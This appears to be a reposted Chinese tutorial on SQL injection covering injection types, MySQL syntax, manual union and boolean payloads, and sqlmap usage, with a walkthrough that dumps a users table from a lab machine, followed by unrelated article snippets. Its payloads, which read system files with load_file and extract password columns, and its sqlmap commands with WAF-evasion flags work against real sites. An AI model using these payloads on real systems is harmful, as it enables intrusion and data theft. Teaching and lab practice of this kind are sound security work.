【网络安全】浅识 SQL 注入

news2024/11/16 23:39:43

前言

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

SQL 注入已经成为互联网世界 Web 应用程序的最大风险,我们有必要从开发、测试、上线等各个环节对其进行防范。下面博主将简单介绍 SQL 注入的原理及实战操作。

简介

什么是 SQL 注入?

通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

1.对于 Web 应用程序而言,用户核心数据存储在数据库中,如 MySQL,SQL Server,Oracle;2.通过 SQL 注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制 Web 服务器等;3.SQL 注入由研究员 Rain Forest Puppy 发现,在1998年对外发表文章《NT Web Technology Vulnerabilities》;4.SQL 注入即攻击者通过构造特殊的 SQL 语句,入侵目标系统,致使后台数据库泄露数据的过程;5.因为 SQL 注入漏洞造成的严重危害性,所以常年稳居 OWASP TOP10 的榜首!* * *

SQL 注入之后可以做些什么?

1.用户信息被泄露;
2.用户信息被非法倒卖;
3.危害企业,政府,国家安全;

分类

以注入位置分类

  • GET 注入
  • POST 注入
  • Cookie 注入
  • 搜索注入

以参数类型分类

  • 字符注入
  • 数字注入

以注入技术分类

  • 错误注入
  • 布尔注入
  • UNION 注入
  • 时间盲注
  • ASCII 逐字解码:折半拆解

基础语法

数据库操作

SQL作用
SHOW DATABASES;显示 MySQL 的数据库列表;
USE DBNAME;指定接下来要操作的数据库;
SHOW TABLES;显示该数据库的所有数据表;
SHOW TABLE STATUS FROM DBNAME;显示该库中所有表的详细信息;
SELECT VERSION();查看数据库管理系统的版本;
SELECT DATABASE();查看当前使用的是哪个数据库;
SELECT USER();查看当前使用的用户;
SELECT @@DATADIR查看数据库的数据路径;
SELECT @@BASEDIR查看数据库的安装路径;
SELECT @@VERSION_COMPILE_OS查看操作系统的版本;

数据表操作


数据操作

插入:

查询:

删除:

注入流程

1.判断是否有 SQL 注入漏洞;2.判断操作系统和数据库类型;3.获取数据库信息;4.加密信息破解;5.提升权限;6.内网渗透;

手动注入

布尔注入

闭合 SQL 语句,构造 orand 逻辑语句、注释多余的代码;

  • or 1=1 -- 注释后有空格;
  • admin' and 1=1 -- ' 查询指定账号的密码;
  • admin' or 1=1 -- ' 查询所有账号密码;

union

  • 前后查询的项数和顺序要一样;SELECT column_name(s) FROM table1UNIONSELECT column_name(s) FROM table2; * 'union select 1,2 -- ' | 'union select 1,2,3 -- ' 先测试查询有几项;

查询数据库

  • 'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
  • 'union select version(),database() from INFORMATION_SCHEMA.tables -- '
  • 'union selcect user(),databases() form INFORMATION_SCHEMA.tables -- '
  • 'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '
  • 'union select load_file('2f6...264'),database() from INFORMATION_SCHEMA.tables -- ' 16进制;
  • information_schema 数据库是 MYSQL 自带的,提供了访问数据库元数据的方式。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

查询数据表

'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- ' 

查询数据列

'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- ' 

SQLMap

GET 方法注入

  • sqlmap -u "url" 指定检测的网址;
  • sqlmap -u "url" -p username --users 查看数据库用户信息;
  • sqlmap -u "url" -p username -dbs 查看有多少数据库;

POST 方法注入

采用 fiddler/burpsuite/tamper 等代理工具,拦截 POST 请求内容,将 POST 请求内容保存到 post.txt 文件中,并让 sqlmap 调用,设置到带 cookie 才能访问的注入页面,则可以采用 -r 参数来实现;

  • sqlmap -r post.txt --dbs
  • sqlmap -r post.txt --users
  • sqlmap -r post.txt --all

带 cookie 参数注入

sqlmap -u "url" cookie=" " --dbs

混淆注入

用于绕过或识别 WAF/IDS/IPS;

  • sqlmap -u "url" --dbms=mysql --skip-waf (绕过 waf 防火墙) --random-agent( 使用随机 http 头部)
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile 模拟手机请求;
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --level 3 risk=2 提高安全/危险等级;
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart 智能模式(温和);
  • sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart --offline 减少跟对方的交互;

数据获取

sqlmap -r /root/Desktop/post --tables -D "数据库名" 查看当前数据库的数据表;

实战

打开靶机,进入靶场,发现是 get 传参,

启动 SQLMap,指定传参 name,看看有没有注入点,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name

获取到相应信息,可以进行 SQL 注入,先查看所有的数据库 sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dbs

有两个数据库,分别为 exercisesinformation_schema,查询 exercises 数据库,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --tables -D "exercises"

只有一个 users 表,查看这个表的所有字段,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --columns -T "users" -D "exercises"

查看比较有用的三个字段 idnamepasswdsqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dump -C "id,name,passwd" -T "users" -D "exercises"

接下来就是该干嘛干嘛,不过建议点到为止

最后

为大家准备了一个前端资料包。包含54本,2.57G的前端相关电子书,《前端面试宝典(附答案和解析)》,难点、重点知识视频教程(全套)。



有需要的小伙伴,可以点击下方卡片领取,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/111785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AcrGIS Pro一键出图

简介 日常工作中我们经常遇到批量出图的场景,比如对某个县下的各个乡镇分别按照其行政区范围出图、对某个流域/河流按照一定方向纵横的网格排布顺序出图等等要求,ArcGIS Pro对于上述需求提供了一个良好的解决方案——地图系列! 那么应该如何创建一个地图系列呢?ArcGIS Pro…

我不是浮躁,只是迷茫,北大毕业转行学编程

北大毕业的我选择去学习编程了!!! 没有希望的地方,就没有奋斗。于千万人之中遇见它,于千万年之中,时间的无涯的荒野里,没有早一步,也没有晚一步,刚巧赶上了,那…

9_SpringMVC_作用域传参

PageContext对象 作用域范围:当前jsp页面内有效 request对象 作用域范围:一次请求内。 作用: 解决了一次请求内的资源的数据共享问题 session对象 作用域范围:一次会话内有效。 说明:浏览器不关闭,并且后台的session不失效,在任意请求中都可以获取到同一个se…

RV1126笔记十:RTMP单路推流

若该文为原创文章,转载请注明原文出处 一、介绍 使用ffmpeg把RV1126采集到的视频和音频以RTMP方式推流到服务器,并播放。 视频为h264格式,音频为AAC格式,利用的是RV1126硬件编码,缩短时间,在局域网内测试,实现200毫秒内实时播放预览。 二、流程图 说明: RTMP推流…

Spring MVC【返回数据与请求转发和重定向】

Spring MVC【返回数据与请求转发和重定向】🍎一. 返回数据🍒1.1 返回静态页面🍒1.2 返回一个非静态页面🍒1.3 返回text/html类型页面🍒1.4 返回JSON对象🍒1.5 实现计算器功能🍒1.6 使用ajax方式…

RV1126笔记十一:RTMP多路推流

若该文为原创文章,转载请注明原文出处。 一、介绍 在前面,已经了解了单路推流的方式了,也成功的推流和接收到RTMP流,我们把单路扩展成多路,实际方法是和单路相同的,只是多增加了参数和线程数,把ffmpeg参数多复制几路,推流线程多开几个,那就实际了多路推的方式了,具…

视图便捷类(QListWidget,QTableWidget,QTreeWidget)

常见的视图便捷类: QListWidget 列表QTableWidget 表格QTreeWidget 树列表便捷类:QListWidget (继承自QListView) 构造函数: 常用函数: addItem()添加项目addItems()添加多个项目count()项目的数量currentItem()…

微内核、宏内核、内核模块、printk

文章目录一、微内核和宏内核二、内核模块三、内核模块code四、Makefile注意注:,?, : 区别五、prink查看prink打印优先级修改printk的打印优先级六、内核模块参数module_param与module_param_array宏定义的使用七、内核符号表--全局共享函数接口与变量1.…

2022年最新中国科学院期刊分区表变化 | 生物类、医学类

fenqu❝早上刷到了新发布的《2022年中国科学院文献情报中心期刊分区表》(https://mp.weixin.qq.com/s/QVfwnGPCjvOaLtBvGM184g),今天利用有限的非卧床时间浅爬了一下生物和医学大类2022和2021年的数据,做个简单的对比。&#xff0…

学习记录-mybatis+vue+elementUi实现批量删除

老规矩&#xff0c;还是从后端到前端还是分为四步骤 步骤一 ①写SQL语句 mapper接口代码&#xff1a; /*** 批量删除* param ids*/void deleteByIds(Param("ids") int[] ids);实现语句&#xff1a; <delete id"deleteByIds">deletefrom tb_brandwh…

本周推荐 | 设计模式在淘宝营销价格体系的实践

推荐语&#xff1a;本文详细描述责任链、中介者、适配器等多种设计模式在淘宝营销价格服务中的应用&#xff0c;从而实现了一套可扩展性的架构&#xff0c;应对灵活多变营销价格需求。——大淘宝技术研发工程师 小枫每年淘宝都有双11、双12等大促&#xff0c;我们价格服务小组的…

【车载开发系列】UDS诊断---常见的ISO标准集合

【车载开发系列】UDS诊断—常见的ISO标准集合 常见的ISO标准集合【车载开发系列】UDS诊断---常见的ISO标准集合一.前言二.基于CAN总线ISO1&#xff09;ISO118982&#xff09;ISO115193&#xff09;ISO15765三.UDS诊断1&#xff09;ISO142292&#xff09;ISO14229系列规范四.CAN…

我国余热发电行业现状:政策及企业积极性双管齐下 市场发展潜力大

根据观研报告网发布的《中国余热发电行业现状深度研究与发展前景预测报告&#xff08;2022-2029年&#xff09;》显示&#xff0c;余热发电是指利用生产过程中多余的热能转换为电能的技术。余热发电技术可以回收利用如水泥、玻璃、钢铁、冶金等行业的余热资源&#xff0c;将余热…

深入浅出synchronized关键字

前言 无论在日常工作还是面试过程中&#xff0c;synchronized关键字作为并发场景下的操作&#xff0c;是一定要掌握的&#xff0c;本文从synchronized的使用方式、原理及优化三个方面&#xff0c;对synchronized关键字作一个系统化的说明。 使用方式 synchronized主要有三种…

Apache DolphinScheduler 发布 3.1.2 版本,Python API 实现优化

点亮 ⭐️ Star 照亮开源之路https://github.com/apache/dolphinscheduler近日&#xff0c;Apache DolphinScheduler 发布了 3.1.2 版本。此版本主要基于 3.1.1 版本进行了 6 处 Python API 优化&#xff0c;19 处 Bug 修复&#xff0c;并更新了 4 个文档。其中较为重要的 Bug…

HashMap1.7和1.8源码解析

1.HashMap &#xff08;1&#xff09;数据结构 在JDK1.7中&#xff0c;HashMap中的数据结构是数组单链表的组合&#xff1b;在JDK1.8中的HashMap存储结构是由数组、链表、红黑树这三种数据结构形成。 &#xff08;2&#xff09;JDK1.7中HashMap源码分析 &#xff08;2.1&am…

Portal门户常见宕机或性能低问题分析与七大解决之道

不论使用什么产品构建门户&#xff0c;只要是基于Java技术的&#xff0c;就很容易宕机或出现性能低的问题。因为Portal产品比较复杂&#xff0c;且集成的数据特别多&#xff0c;架构特别复杂&#xff0c;涉及到的数据通信特别多。宕机或性能低也通常是用户较为头疼的问题。经常…

excel文本函数应用:单元格中的数字和字母,如何判断?

文本字符是Excel中除了数字以外的另一种非常常用的数据类型&#xff0c;Excel也提供了大量的文本函数。利用这些函数我们可以用来判断字符串开头是否为数字、字符串是否同时包含了数字和英文、字符串是否包含了指定字符&#xff0c;可以用来转换英文字母的大小&#xff0c;可以…

Java基础之Stream的使用078

1. Stream 的使用 Stream 是什么&#xff1f; Stream 是数据渠道&#xff0c;用于操作数据源&#xff08;数组、集合等&#xff09;所生成的元素序列。 Java8两大最为重要的改变就是 Lambda表达式 与 Stream API&#xff0c;这两种改变的引入带来的是新的抽象方式 &#xff08…

目标检测之Fast RCNN概述

基本原理 Fast Rcnn主要步骤为 利用SR算法生成候选区域利用VGG16网络进行特征提取利用第一步生成的候选区域在特征图中得到对应的特征矩阵利用ROI pooling将特征矩阵缩放到相同大小并平展得到预测结果 相对于RCNN的优化 主要有三个改进 不再将每一个候选区域依次放入CNN网络…